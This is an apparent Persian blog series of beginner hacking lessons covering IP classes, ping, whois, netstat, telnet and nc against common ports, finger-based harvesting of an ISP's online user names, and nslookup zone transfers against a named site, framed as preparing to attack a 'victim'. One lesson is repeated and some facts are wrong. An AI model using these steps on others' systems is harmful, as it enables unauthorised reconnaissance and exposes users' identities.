 سلام دستور Tracert اين دستور ميگه که از چند تا کامپيوتر بگذريم تا به lover-hackers.comبرسيم دستور رو در CMdبه اين شکل اجرا کنين tracert your domainکه به جای your doaminآدرس سايتو بنويسيد. پورتهای باز کامپيوتر خودمان را ببينيم خوب شما الان چون با مفهوم پورت آشنا هستيد و ميدونيد در هک اساسی ترسن کارها رو پورت انجام ميشه و حتی با ميتوان با باز بودن پورت يک کامپيوتر بهش نفوذ کرد اين خيلی مهمه که پورتهای باز خودتونو ببينيد.از يکی از اين دو دستور استفاده ميکنيم . ۱-درCMDويندوزتان تايپ کنيدnetstat -anکه اين دستور پورتها رو به صورت عدد نشون ميده به خاطر اون numberآخرش ۲-دستور netstat -aمعادل اسمس آن پورت را نمايش ميدهد من قسمتيش واستون ميگم در خط اولش نوشته Protoکه معادل آن است که پروتکل شما TCP or UPDاست بعد ميريم سراغLocal Adress که اونجا هم IPرو نوشته وپورتها رو البته ماله خودتون است و در آخر Stateوضعيت اتصال رو نمايش ميده حالا با استفاده از اينا چيکار کنيم؟خوب ميتونيم ببينيم Trojanروش فعال است يا نه؟ يه توضيح کوچک در مورد تروجان بدم که اسبهای تروجان ويروسهايی هستن که پورت خاصی رو کامپيوتر طرف باز نگه ميدارن و شما به اون کامپيوتر نفوذ ميکنيد که معروفترین اونا ساب سون هست. به دست آوردن اسم کامپيوتر يک کلاينت: اول يه تعريف کوچولو برای کلاينت:به کامپيوترهايی که با Dial upوصل هستند يا در تعريف خودمانی همون کامپيوترهای خودمنو ميگيم .خوب برای به دست آوردن اسم کامپيوتر طرف بايد باهاش چت کنين اما برای مطمعن شدن بايد بگی طرف Voiceبده. اگه داد اين عبارتو تايپ کنيدnetstat اما مهمترين چيز اين است که به دنبال شماره ۵۱۰۱بگردين چون اين کمک به حال گيری ميکنه. معرفی پورتها و صحبت کردن با آنها مراحل آخر هک : خوب بايد ياد بگيريم با پورتها صحبت کنيم اين مطلب راحته و همش از يه دستور استفاده ميشه صحبت با پورت ۱۳ ۱-پورت ۱۳ که پورت Daytimeناميده ميشه خيلی ساده لوحه و هميشه راست ميگه البته هميشه اين پورتو ميبندن يا به قول معروف خفش ميکنن برای صحبت کردن با آن اين دستور را اجرا کنيد telnet ip adress 13يا nc -v ip adress 13 خوب به چه درد ميخوره؟ميتونيم تشخيص بديم کامپيوتر در ايران است يا نه با توجه به تاريخ و ساعتش مفهومه که؟ صحبت با پورت ۷ اين پورت کاره خاصی نميکنه فقط هر چی بهش بدين براتون همونو پس ميفرسته چه مسخره!!! بعد اينم دستورشtelnet your ip adress 7يا nc -v ip 13و به جای همه ی دستورات بالا به جای ip ياypur ip adressشماipسايتتونو بنويسيد صحبت با پورت ۸۰ اين پورت کارش اينه که برای جستجوی صفحات اينترنتی ميره اولين دستور ميگه هر چی headerهست رو نشون بدهGET /HTTP/1.0نتايج من ديگه نشون ندادم خودتون امتحان کنيد. جالبه!!! دومين دستور ميگه که هر چی هست يعنی در اينجا whatکار ميبريم نشون بده GET /what/everولی شما رای اين کار مسيرو بديد کجاهارو ميخوان مثلاexe صحبت با پورت ۷۹ مهمه خوب اين پورت Endeحاله يعنی اينکه شما ميتونين با استفاده از اين دستور بفهمين چند نفر از کاربران ISPشما onهستن و همچنين شايد خوش شانس باشيد و ISPدر پيتس باشه USER NAMEهم ميده و مثلا اسم يه کامپيوتر alborzاست خوب اينم ۳ تا دستور برای گرفتن اطلاعات telnet alborz.com79 nc -v alborz.com79 finger @alborz.com79 اين پورت بستگی به سرور داره ممکنه usernameهم نشون بده و حتی نام نام خانوادگی افراد آنلاين پس همين الان دسته به کار شويد و به serverهای مختلف telnetکنين و اين usernameهام که گفتم به چه دردی ميخوره به درده دود کردن اينترنت ميخوره صحبت با پورت ۱۱۰ اين پورت برای خواندن ايمیل به کار ميره مثلا من در نو آور ايميل دارم پس ميخوام ايميلهامو چک کنم تايپ ميکنمtelnet mail.noavar.com 110ياnc -v mail.noavar.com 110 بعدش وارد يه محيط مثل ftpميشين بعد از شما userوpassميخوادکه شما بدين خوب الان در درون ايميل هايتان غلط ميزنيد و اين دستورهای مهم را هم اجرا کنيد اين دستور حجم کليه ايميلهای رسيده را ميگهstat اين دستور ليست پيام ها رو ميگه list در اين دستور متن نامه رو ميخوانيم البته بگم شماره ی مورد نظرتونو برای خواندنش وارد کنيدretr پاک کردن ايميل dele 54 برای خارج شدنquit امیدوارم از این آموزش خوشتو آمده باشه اگه خدا بخواد حرفه ایشم می گذارم اگه بد بود ببخشید دیگه بهتر از این نتونستم بگم امیدوارم به کارتون خورده باشه شاد و پیروز باشید

آموزش هک-قسمت چهارم

سلام دستور Tracert اين دستور ميگه که از چند تا کامپيوتر بگذريم تا به lover-hackers.comبرسيم دستور رو در CMdبه اين شکل اجرا کنين tracert your domainکه به جای your doaminآدرس سايتو بنويسيد. پورتهای باز کامپيوتر خودمان را ببينيم خوب شما الان چون با مفهوم پورت آشنا هستيد و ميدونيد در هک اساسی ترسن کارها رو پورت انجام ميشه و حتی با ميتوان با باز بودن پورت يک کامپيوتر بهش نفوذ کرد اين خيلی مهمه که پورتهای باز خودتونو ببينيد.از يکی از اين دو دستور استفاده ميکنيم . ۱-درCMDويندوزتان تايپ کنيدnetstat -anکه اين دستور پورتها رو به صورت عدد نشون ميده به خاطر اون numberآخرش ۲-دستور netstat -aمعادل اسمس آن پورت را نمايش ميدهد من قسمتيش واستون ميگم در خط اولش نوشته Protoکه معادل آن است که پروتکل شما TCP or UPDاست بعد ميريم سراغLocal Adress که اونجا هم IPرو نوشته وپورتها رو البته ماله خودتون است و در آخر Stateوضعيت اتصال رو نمايش ميده حالا با استفاده از اينا چيکار کنيم؟خوب ميتونيم ببينيم Trojanروش فعال است يا نه؟ يه توضيح کوچک در مورد تروجان بدم که اسبهای تروجان ويروسهايی هستن که پورت خاصی رو کامپيوتر طرف باز نگه ميدارن و شما به اون کامپيوتر نفوذ ميکنيد که معروفترین اونا ساب سون هست. به دست آوردن اسم کامپيوتر يک کلاينت: اول يه تعريف کوچولو برای کلاينت:به کامپيوترهايی که با Dial upوصل هستند يا در تعريف خودمانی همون کامپيوترهای خودمنو ميگيم .خوب برای به دست آوردن اسم کامپيوتر طرف بايد باهاش چت کنين اما برای مطمعن شدن بايد بگی طرف Voiceبده. اگه داد اين عبارتو تايپ کنيدnetstat اما مهمترين چيز اين است که به دنبال شماره ۵۱۰۱بگردين چون اين کمک به حال گيری ميکنه. معرفی پورتها و صحبت کردن با آنها مراحل آخر هک : خوب بايد ياد بگيريم با پورتها صحبت کنيم اين مطلب راحته و همش از يه دستور استفاده ميشه صحبت با پورت ۱۳ ۱-پورت ۱۳ که پورت Daytimeناميده ميشه خيلی ساده لوحه و هميشه راست ميگه البته هميشه اين پورتو ميبندن يا به قول معروف خفش ميکنن برای صحبت کردن با آن اين دستور را اجرا کنيد telnet ip adress 13يا nc -v ip adress 13 خوب به چه درد ميخوره؟ميتونيم تشخيص بديم کامپيوتر در ايران است يا نه با توجه به تاريخ و ساعتش مفهومه که؟ صحبت با پورت ۷ اين پورت کاره خاصی نميکنه فقط هر چی بهش بدين براتون همونو پس ميفرسته چه مسخره!!! بعد اينم دستورشtelnet your ip adress 7يا nc -v ip 13و به جای همه ی دستورات بالا به جای ip ياypur ip adressشماipسايتتونو بنويسيد صحبت با پورت ۸۰ اين پورت کارش اينه که برای جستجوی صفحات اينترنتی ميره اولين دستور ميگه هر چی headerهست رو نشون بدهGET /HTTP/1.0نتايج من ديگه نشون ندادم خودتون امتحان کنيد. جالبه!!! دومين دستور ميگه که هر چی هست يعنی در اينجا whatکار ميبريم نشون بده GET /what/everولی شما رای اين کار مسيرو بديد کجاهارو ميخوان مثلاexe صحبت با پورت ۷۹ مهمه خوب اين پورت Endeحاله يعنی اينکه شما ميتونين با استفاده از اين دستور بفهمين چند نفر از کاربران ISPشما onهستن و همچنين شايد خوش شانس باشيد و ISPدر پيتس باشه USER NAMEهم ميده و مثلا اسم يه کامپيوتر alborzاست خوب اينم ۳ تا دستور برای گرفتن اطلاعات telnet alborz.com79 nc -v alborz.com79 finger @alborz.com79 اين پورت بستگی به سرور داره ممکنه usernameهم نشون بده و حتی نام نام خانوادگی افراد آنلاين پس همين الان دسته به کار شويد و به serverهای مختلف telnetکنين و اين usernameهام که گفتم به چه دردی ميخوره به درده دود کردن اينترنت ميخوره صحبت با پورت ۱۱۰ اين پورت برای خواندن ايمیل به کار ميره مثلا من در نو آور ايميل دارم پس ميخوام ايميلهامو چک کنم تايپ ميکنمtelnet mail.noavar.com 110ياnc -v mail.noavar.com 110 بعدش وارد يه محيط مثل ftpميشين بعد از شما userوpassميخوادکه شما بدين خوب الان در درون ايميل هايتان غلط ميزنيد و اين دستورهای مهم را هم اجرا کنيد اين دستور حجم کليه ايميلهای رسيده را ميگهstat اين دستور ليست پيام ها رو ميگه list در اين دستور متن نامه رو ميخوانيم البته بگم شماره ی مورد نظرتونو برای خواندنش وارد کنيدretr پاک کردن ايميل dele 54 برای خارج شدنquit امیدوارم از این آموزش خوشتو آمده باشه اگه خدا بخواد حرفه ایشم می گذارم اگه بد بود ببخشید دیگه بهتر از این نتونستم بگم امیدوارم به کارتون خورده باشه شاد و پیروز باشید

آشنايي با Netstat

 اين دستور که با سويچ هاي ديگري هم استفاده ميشه يکي از دستورايي هست که همه هکر ها اول باهاش آشنا ميشن.که با تايپ اين دستور شما متوجه آي پي سيستمها و پورتهايي که با آنها در ارتباط هستيد ميشويد و مشاهده ميکنيد که چه پورتهايي Listening و يا Established هستن اين باعث ميشود اگر پورتي مخصوص يک تروجن مثل 27374 که پورت اصلي Sub7 هست در سيستم شما باز بود شما متوجه اين پورت باز بروي سيستمتان بشويد. اگر در قسمت Foreign Address هم يک آي پي بوسيله پورتي به سيستم شما وصل بود شما به سرعت متوجه مي شويد که يک نفر با آن آيپي در سيستم شماست ، پس اين راهيست که متوجه گرديد سيستمتان آسيب پذير است يا نه ، براي مثال من با تايپ دستور Netstat در Ms-Dos پس از اتصال به اينتر نت نتايج زير را گرفتم : C:\WINDOWS>netstat Active Connections Proto Local Address Foreign Address State TCP Midia:1454 cs33.msg.sc5.yahoo.com:5050 ESTABLISHED TCP Midia:1488 63.123.44.222:80 ESTABLISHED TCP Midia:1491 opi1.vip.sc5.yahoo.com:80 TIME_WAIُT TCP Midia:1497 64.187.54.23:80 ESTABLISHED TCP Midia:1498 64.187.54.23:80 ESTABLISHED همانطور که ملاحظه ميکنيد اين دستور گاهي اوقات اسم صاحب سيستم کلاينتي که شما با آن در ارتباط هستيد را نيز ميدهد و چون اينجا من با کسي در PM نبودم اسم کسي را نميبينيد ولي اگر کسي با من چت کند و دستور Netstat را اجرا كند اسم را ميبيند و متوجه ميشود کهMidia صاحب آن سيستم کلاينتي مي باشدکه در حال چت كردن با آن است و همچنين در اين قسمت مشخص است که من با پورت 5050 با ياهو مسنجر ارتباط برقرار کرده ام و نيز نتايجي که در زير Local Address مشخص است اطلاعاتي درباره خود من مي باشد . و نتايجي که در Foreign Address بدست مياد مشخص ميکند که ما با چه سرور يا کلاينتي در ارتباط هستيم . که در سطر پنجم مثال بالا يعني 63.123.44.222:80 آيپي سايت ياهو ميباشد و مشخص ميكند كه من در سايت ياهو بوده و به وسيله پورت 80 که پورت Http ميباشد با اين وب سرور ارتباط برقرار کرده ام و در قسمت Status هم مشخص ميشود که شما با چه پورتهايي Established هستيد يعني ارتباط برقرار کرده و وصل هستيد و چه پورتهايي Listening يا منتظر Request و در حال شنيدن مي باشيد ، بنابراين با دستور Netstat مي شود يک عمل مانيتورينگ از تمام آيپي ها - پورتها و ماشينهايي که شما با آنها در ارتباط هستيد گرفت . دستور Netstat/? : Help برنامه Netstat را معرفي ميکند و سويچ هاي که ازش ميتوان استفاده کرد و در مقابل هر سويچ در مورد کار آن توضيح مختصري ميدهد. دستور Netstat -n : با اين دستور ميتوان آيپي و پورت سيستمي که شما با آن در ارتباط هستيد را بدست آورد . براي مثال وقتي شما با يک نفر در ياهو مسنجر چت ميکنيد پورت ۵۰۵۰ روي سيستم open هست چون ياهو از پورت ۵۰۵۰ استفاده ميکند پس با تايپ netstat -n خواهيد داشت: Active Connections Proto Local Address Foreign Address State TCP 217.219.223.21:1425 216.136.175.226:5050 TIME_WAIT TCP 217.219.223.21:1431 64.242.248.15:80 ESTABLISHED TCP 217.219.223.21:1437 217.219.223.38:5101 ESTABLISHED همانطور که ملاحظه ميکنيد من در اين لحظه با آيپي 217.219.223.38 در حال چت کردن بودم که اشتراکش هم از رايان روش بوده (مثل خودم)و آي پي خود نيز پروتکلي که ما بوسيله آن با يک سيستم ارتباط برقرار کرديم Proto مشخص ميشود در قسمت Local Address من هم TCPارتباط برقرار شده است. دستور Netstat -na : با تايپ کردن اين دستور در MS-DOS Prompt تمام پورتهايي که داده ها و بسته ها را ميفرستند مشخص ميشود ، نشان " na " در تمام دستورات به معني نمايش همه پورتها و ليست کردن آدرسهاي شبکه و شماره فرمها در يک قالب عددي مي باشد ، براي مثال من با تايپ اين فرمان در MS-DOS اين نتايج را گرفتم : C:\WINDOWS>netstat -na Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:1954 0.0.0.0:0 LISTENING TCP 0.0.0.0:5101 0.0.0.0:0 LISTENING TCP 217.219.223.21:1954 207.46.106.21:1863 ESTABLISHED TCP 217.219.223.21:1971 216.136.225.36:5050 ESTABLISHED TCP 217.219.223.21:2031 63.121.106.74:80 TIME_WAIT TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING *:* UDP 0.0.0.0:1958 *:* UDP 64.110.148.59:9 *:* UDP 64.110.148.59:137 *:* UDP 64.110.148.59:138 خب ميبينيد که پورتهاي باز روي سيستم من ليست شده است. مثل 1954-1971-2031 دستور Netstat -a : اين دستور نيز مثل دستور Netstat -an يا -na عمل ميکنه فقط فرقش در اينه که اين دستور پورتها را با معادل اسميشان نشان ميدهد ، براي مثال پورت 139 را با معادل اسميش يعني Netbios نشان ميدهد و همچنين مانند دستور Netstat اسم صاحب سيستم را پرينت ميكند .(اين دستور براي تست کردن نقطه ضعفها و پورتهاي باز در سيستم هاي خودمان بسيار مفيد ميباشد و اگر سيستم آلوده به تروجن بود ميشود از اين دستورها و کلاً برنامه Netstat اين موضوع را فهميد ، پس آنهايي که سوال ميکنند ما چگونه بفهميم سيستم خودمان آلوده به تروجن هست يا نه ، استفاده از اين دستور و کلاً دستورات Netstat ميتواند خيلي به آنها کمک کند ) دستور Netstat -p xxx : منظور از xxx يعني آن پروتکلي که شما در نظر داريد که ميتواند TCP و UDP باشد. دستور Netstat -e : اين دستور نيز يکي از دستورات Netstat است که آماري از ارتباطها و بسته ها و شماره هاي ارسال و ذخيره بسته ها و داده ها را نشان ميدهد .(اين دستور بيشتر براي ويندوزهاي 98 , me و همينطور مودمهايي که آمار بسته ها را نميدهند خوب و مفيد است چون در ويندوز 2000 – XP- قسمتي از اين آمار براحتي در اختيار User قرار ميگيرد ، و شما ميتونيد با استفاده از اين دستور ترافيک ISP و شبکه را ببينيد و همينطور برنامه هايي که در حال دانلود هستسد را چک کنيد و يا اگر بسته اي در ارسالش مشکلي پيش بياد ميتوانيد در قسمت Errors مشاهده کنيد ، ...) دستور Netstat -r : اين دستور توسط کاربران معمولي اينترنت زياد بکار گرفته نميشود چون درک بعضي از گزينه هاش براي کاربران عادي دشوار ، بحرحال اين دستور جزييات دقيقي مثل آدرس Gateway - Interface Metric -Netmask , ... درباره آدرس آي پي شما در شبکه ميدهد ، همچنين در ويندوزهاي8 9 - ME کار دستور Netstat -a را هم انجام ميدهد .

آموزش هک-قسمت سوم

سلام مفهوم پورتها به طور کامل و مشخصات آن خوب اين بحث مهمترين کارمونه چون ميخوام پو رتها رو بشناسيم و به اونها تلنت کنيم چون تا وقتی که نفهميم کدوم پورت چه کاری انجام ميده نميتونيم موفق بشيم ۱- پورت‌های 0 تا 1023 : مشهورترين پورت‌ها هستند و معمولا هرکدام برای يک سرويس خاص استفاده می‌شود. با تعدادی از اين پورت‌ها در قسمت های قبل آشنا شده‌ايد. ۲- پورت‌های 1024 تا 49151 : اين سری از پورت‌ها مشخصا با هيچ‌يک از سرويس‌های اينترنتی مرتبط نيستند بلکه وقتی که با يک ابزار شبکه مانند مرورگر اينترنت(مثل Internet Explore يا Netscape Navigator )، نرم‌افزار ارسال و دريافت E-mail (مثل Outlook يا Edura )، نرم‌افزارهای FTP (مثل WS-FTP يا Cute-FTP ) کار می‌کنيد، يکی از اين پورت‌ها به صورت random باز شده و يک ارتباط با سرور (با توجه به‌نوع سرويس اينترنتی که می‌دهد که يکی از پورت‌های 0 تا 1023 است) برقرار شده و داده‌ها ارسال و دريافت می‌شوند. يعنی پورت شما يکی از پورت‌های اين قسمت است و پورت سرور يکی از پورت‌های بالايی.اين سری پورت‌ها را پورت‌های register شده هم می‌گويند. ۳- پورت‌های 49152 تا 65535 : اين سری از پورت‌ها به‌ندرت استفاده می‌شوند. کاربرد اساسی آنها برای يک سری سرويس‌های خاص اينترنتی است و يا توسط trojanها (که برای Hack کردن کامپيوتر است) به کار میرود. البته خيلی از trojanهای معروف از پورت‌های رديف ۲ هم استفاده می‌کنند و اين تقسيم‌بندی‌ها هميشه برقرار نيست و به‌همين علت است که گاهی پورت‌ها را به دو‌دسته زير 1024 و بالای 1024 تقسيم‌ می‌کنند. فکر کنم الان مفهوم پورت براتون جا افتاد و اما يه مطلب مهم: شما بايد با مدل TCP/IPآشنا باشيد اگه نيسيتيد ياد بگيريد اينم از مقدمات يه هکر شدنه در ضمن من ميخوام آموزشش بدم ميتونين نه کتاب بخرين نه پول آموزشگاه بدين پس آروم آروم من هم به سايت رونق ميدم اما من گفتم و بازم ميگم تايپ فارسی خوب نيست اگه يه شريک مشتی گير مياوردم مطالب بالا رو با هم کامل و دو نفری مشغول باشيم هم شماها بيشتر حال ميکردين هم ما به خدا به هرحال بايد با تنهايی ساخت ولی حتما اين TCP/IPرو ميگم اما گفتم زبان Cرو بريد بيرون ياد بگيريد من نميتونم اينطوری تو وبو بنويسم. پورتهای باز وبسته ی يک سرور را چگونه تشخيص دهيم معمولا اين کارها را نرم افزارها ميکنند نه خود کاربر يه توضيح کوچولو در مورد Whois اگر شما ميخواین Whois کنيد و از همان سايت samspadeاستفاده کنيد شايد جواب نده علتش رو بعدن ميگم اما برای اينکه یه کم بدونين به دليد مسایل دامين و جغرافيايی است پس از اين دستور استفاده کنيد مثلا آخر سايت شما .comداره اونوقت منظورمو ميگيرين اينم دستورش که در اينترنت اکسپلولر تو ضيح دادم . <A href="http://www.internic.net/cgi/whois?type=dom...is_nic=xxxxxxxx" target=_blank>http://www.internic.net/cgi/whois?t...is_nic=xxxxxxxx</A> و به جای ضربدر ها آدرس سايتو مينويسيد اينم مخصوص سايتهايی که آخرشون .irداره/http://whois.nic.ir اينم مخصوص اونايی که آخرشون .twو.bizو.cc <A href="http://www.tv/en-def-8e33e8cf5e3c/cgi-bin/...xxxxxx&tld=yyyy" target=_blank>http://www.tv/en-def-8e33e8cf5e3c/c...xxxxxx&tld=yyyy</A> و ميخوام در مورد سايت رشد ببينيم خوب اين آدرسشهRoshd.irو به جای xxxxxxهامنويسيم Roshdو به جایyyyyمينويسيم .irفکرکنم الان خوب متوجه شده باشيد. چند نکته مهم در مورد PINGو دستوراتش اگه يادتون باشه اون اولای مقاله به یه سایت Pingکرديم خوب حالا ميخوام اون نتايجی رو که گفتم بعدن بهتون ميگم رو الان بگم چون الان مفهموم هک و خيلی چيزارو يادگرفتين بريم تو کارش چشم دستورشم يه بار ميگم که مجبور نشی دو ساعت بری بالا بگردی دنبالش Ping <A href="http://www.your/" target=_blank>http://www.your/</A> domain or your ip اينم نتيجش ping <A href="http://www.moaddabfurniture.com/" target=_blank>http://www.moaddabfurniture.com/</A> Pinging <A href="http://www.moaddabfurniture.com/" target=_blank>http://www.moaddabfurniture.com/</A> [66.48.76.205] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Reply from 66.48.76.205: bytes=32 time=855ms TTL=106 Ping statistics for 66.48.76.205: Packets: Sent = 4, Received = 1, Lost = 3 (75% loss), Approximate round trip times in milli-seconds: Minimum = 855ms, Maximum = 855ms, Average = 855ms خوب اين داره ميگه که زمان رسدن به پکت رو ميگه خودتون ببينيد که به سرعت شما و ترافيک و خطوط شبکه بستگی داره البته من بعضی جاهاش حذف کردم اما عبارت جلوی Replyتايم رسيدن را نشان ميده و يه نکته مهم ديگه اينکه با توجه به سطر آخر ميفهميم lover-hackers.comفعال هست يا نه الان تو مثال بالا فعال است اما اگه عددهای جلوی عبارتهایMinimumوMaximumوAvreageصفر شود اونوقت يعنی فعال نيست. موفق باشيد

آموزش هک-قسمت دوم

سلام خوب حالا فکر کنم مفهوم IPقشنگ براتون جاافتاده ميريم سر دستورها بدست آوردن IPيک سايت: در اولين قدم هک چه کلاينت و چه سرور بايد IPرو بدست بياوريم.که برای به دست آوردن IP يک سرور يا سايت ۲ روش وجود دارد البته نرم افزارهای زيادی در اين مورد هست که به موقعش معرفی ميکنم ۱-در CMDويندوزتان برويد و اين عبارتو تايپ کنيدping <A href="http://www.domain.com%d9%88%d8%a8%d9%87/" target=_blank>http://www.domain.comوبه/</A> جای domainآدرس اينترنتی سايت خودتونو بنويسيد مثلا در مورد سايت يك سايت قبلا امتحان کردم شده: ping <A href="http://www.moaddabfurniture.com/" target=_blank>http://www.moaddabfurniture.com/</A> Pinging <A href="http://www.moaddabfurniture.com/" target=_blank>http://www.moaddabfurniture.com/</A> [66.48.76.205] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Reply from 66.48.76.205: bytes=32 time=855ms TTL=106 Ping statistics for 66.48.76.205: Packets: Sent = 4, Received = 1, Lost = 3 (75% loss), Approximate round trip times in milli-seconds: Minimum = 855ms, Maximum = 855ms, Average = 855ms بعد IPاين سايت [66.48.76.205]است.و يه سرس اطلا عات ديگه با همين دستوره کوچولو به دست اومد که بعدن سر موقعش همشو بهتون تو ضيح ميدم. روش دوم۲-همان Whoisکردن است که در اوايل صحبتهايم براتون تعريفش کردم اين راه به نظر شخصی من بهتر از PINGکردنه چون اطلاعات جامع تری رو ميده و يکی از همين سايتها که هر هکری بهش علاقه منده اينه برای ديدنش اينجارو کليک کنيد.و برای Whoisکردن اين عبارتو در اينترنت اکسپلولر تايپ ميکنيم و Enterميزنيم <A href="http://www.samspade.org/t/whois?a=xxxxxxxxx%DA%A9%D9%87" target=_blank>http://www.samspade.org/t/whois?a=xxxxxxxxxکه</A> به جای اين ضربدرها آدرس سايت مورد نظر خود را بنويسيد مثلا در مورد همون سايت اين ميشود <A href="http://www.samspade.org/t/whois?a=moaddabfurniture.com" target=_blank>http://www.samspade.org/t/whois?a=moaddabfurniture.com</A> خيلی از شماها حتما فرق اين دو روش را فهميدين در روش Whoisاطلاعات ذيقيمتی رو بدست مياورين در اصل ميشه گفت اين روندها مثل زنجير بهم پيوستن خوب اطلاعاتی که گفتم همونDNS ServerياDomain Serverاست و به وسيله همين DNS Serverو با استفاده از دستور nslookupاطلاعات ذيقيمت تری رو بدست مياوريد. استفاده از دستور مهم nslookup وقتی DNS Serverيک سايتو بدست آورديم با استفاده از روش Whoisکردن که در بالا گفتم و اين آدرس هميشه در سطر آخر ديده ميشود و معمولا به اين شکل است در مورد همون سايت امتحان کردم شد s1.moaddabfurniture.com s2.moaddabfurniture.com خوب حالا شروع ميکنيم اين دستورو در CMDتايپ nslookup وEnterکنيد نتيجه به اين شکل است: *** Can't find server name for address 192.168.20.3: Non-exi... *** Can't find server name for address 192.168.20.1: Non-exi... *** Default servers are not available Default Server: UnKnown Address: xxx.xxx.xx.x خوب حالا اين عبارتو تايپ ميکنيم server dns_serverو به جای dns_serverهمون DNS Serverاوليه را تايپ ميکنيم مثلا در مورد همون سايت ميشه server s1.moaddabfurniture.comاگه احيانا به پيام اخطار برخورد کرديد DNS Serverدوم را وارد کنيد فکر کنم متوجه شديد جريان از چه قراره اينبار شما وارد محيط nslookupشديد پس اينجا هم از دستور ها ی متفاوتی پيروی ميکنه که هرکدو اطلاعات خاص خودش ميده که الان من اين دستورها رو ميگم ولی شما از بعضی نتايجش ميتونين اطلاعات ذيقيميتی رو بدست آوريد. set type=any بعدش اينو تايپ کنيدls -d site_name و به جای siteاسم سايتتونو بنويسيد مثلا ls -d moaddabfurniture.com خوب اگه شماها تا حالا رو يه سايت کارای بالا رو کرده باشين دستتون پره به زبان عاميانه يعنی شما دارين خودتونو شارژ ميکنين برای حمله به سايت قربانی اگه موافق باشيد در بار بعد بريم سر بحث پورتها پس فعلا با اجازه

آموزش هک-قسمت اول

سلام خوب ميريم سر اصل مطلب :معمولا سوالهای شما در اولش ايناست ۱-هک چيه آيا وارد شدن به يه کامپيوتر هک محسوب ميسه؟ ۲-وقتی يه کامپيوتر خاموشه ميشه هکش کرد؟ ۳-آيا برای اينکه يک هکر شويم بايد خودمان يه بار هک شده باشيم؟ البته سوال که زياده ولی معمولا همه ی شماها همين ها رو میپورسين. حتما تو اين چند روزه در باره ی اين ويروس جديده خبرهايی شنيده ايد.يکيش وب لاگ خودم.که بعد از اون ماجرا ماکروسافت گفت patchمخصوص ويندوز ها ی گوناگون رو نصب کنيد.خوب اين يعنی چي؟يعنی اين که سيستم عامل ها را انسان ها درست ميکنن بنابراين خطای آن ميشه گفت ۵۰تا۵۰ است در نتيجه به اين خطاها bugگفته ميشود که هر شرکت تا اين سوتی ها رو ديده سريعا اين patchرو برای ماسمالی کردن و در امن ماندن از دست هکرها پخش ميکنه.خوب ببينيد بعضی از هکرها اصلا اين وظيفه را دارند که ضعف اين شرکتو نشان بدم البته ما نوع های مختلفی داريم که در حوصله اين مقاله نميگنجد . به چه چيزهايی برای شروع نياز داريم: ۱-ابتدا زبان Cرا فرابگيريد. برای چي؟برای صحبت با پورتهای مختلف ۲-Dosرا خوب بلد باشيد.برای چي؟برای استفاده از FTP SERVER ۳-دو سيستم عامل داشته باشيد .يکی از خانواده ی ويندوز و ديگری از خانواده ی Unix IP:مهمترين چيز و راحترين چيز در هکه که خيلی راحت به دست مياد و اهميت فوق العاده ای برای Telnetکردن به سايتهای مختلف و دودر کردن اينترنت و.... Whois:تعريف خاصی ندارد اما ميشه گفت اطلاعات هر سايت را به ما ميده Telnet:برای صحبت با ورتها و وارد شدن بهFTPالبته اين تعريف درست و کامل نيست. Port:در زبان فارسی به معنای بندر است خوب حالا کامپيوتر Serverرا جزيره در نظر بگيريد وکه چندين بندر دارد و هرکدام از اين بندرها کاره خاصی ميکنند. بدست آوردن IPخودمان بعد از اتصال به نت: 1-رفتن به CMDويندوز XPويا DOS۹۸وتايپ کردن اين عبارتnetstat -n 2-Clickراست کردن بر روی اون دوپنجره پايين Desktopهمان دو پنجره ای که وقتی به نت وصل هستيم چشمک ميزنه و بعد انتخاب گزينهSatusو زدن Deatilدر بالای پنجره و ديدن IPخودمان در پايين صفحه و IP SERVERدر بالای آن طبقه بندی IP ها: IPها به ۵ کلاسAتاEتقسيم ميشوندکه بر حسب اهميت کلاسAتاCمورد اهميت تر است و ما هر ۵ نوع را برای شما بيان ميکنيم ۱-قالب ۳۲ بيتی کلاس Aاين گونه است۷بيت شبکه و ۲۴ بيت کاربر.اگر IPرا اينگونه فرض کنيمxxx.yyy.zzz.rrrاين کلاس شامل تمام IPهايی ميشود که xxxهای آن بين1تا۱۲۶است.هر گاه پرارزشترين بيت IP آدرس صفر باشد , آدرس از كلاس A است . همانگونه كه مشاهده ميكنيد بخش شبكه اين كلاس قادر به ادرس دهي 127 شبكه ميباشد و ميتواند حدود 17000000 كاربر داشته باشد . بنابراين به اين نتيجه ميرسيم كه ادرسهاي كلاس A شبكه هاي ستون فقرات اينترنتي هستند . ۲-قالب 32 بيتي كلاس B بصورت زير است : آدرس كاربر(16 بيت) آدرس شبكه(14بيت) 10 هر گاه پرارزشترين بيتهاي IP آدرس10 باشند , آدرس از كلاس B است . همانگونه كه مشاهده ميكنيد بخش شبكه اين كلاس قادر به ادرس دهي 16382 شبكه ميباشد . كه هر يك ميتواند 65534 كاربر داشته باشد . بنابراين به اين نتيجه ميرسيم كه ادرسهاي كلاس B شبكه هاي عظيم اينترنتي هستند كه تمام اين آدرسها امروز تخصيص داده شده اند .اينIPها تمام xxxهايی را شامل ميشوند که عددشان بين128تا۱۹۱است و از کلاسهای پر کاربرد هستند. ۳-قالب 32 بيتي كلاس C بصورت زير است : آدرس كاربر(8 بيت) آدرس شبكه(21بيت) 110 در اين كلاس پرارزشترين بيتها 110 هستند . اين كلاس پر كاربردترين كلاس است . در اين كلاس با توجه به آدرس 21 بيتي شبكه , ميتوان حدود 2000000 شبكه تعريف كرد.و اين کلاس تمام IPهايی را شامل ميشود که xxxهای آنها بين192تا۲۲۳است. ۴-آدرسهاي كلاس D : قالب 32 بيتي كلاس D بصورت زير است : آدرس كاربر(28 بيت) 1110 در اين كلاس پرارزشترين بيتها 1110هستند . و 28 بيت بعدي براي مقاصد گروهي بكار ميروند . ۵-آدرسهاي كلاس D : قالب 32 بيتي كلاس D بصورت زير است : آدرس كاربر(28 بيت) 1110 در اين كلاس پرارزشترين بيتها 1110هستند . و 28 بيت بعدي براي مقاصد گروهي بكار ميروند . خلاصه ای از مطالب بالا: اين هم خلاصه ی مطالب مهم که اگر حوصله خواندن اين کلاسهای IPمسخره را نداريد 1- كلاس A : عدد سمت چپ IP ادرسهاي كلاس A بين 0 تا 127 ميباشد . 2- كلاس B : عدد سمت چپ IP ادرسهاي كلاس B بين 128 تا 191 ميباشد . 3- كلاس C : عدد سمت چپ IP ادرسهاي كلاس C بين 192 تا 223 ميباشد . فعلا تا اینجا رو داشته باشید.

What is the Exploit?

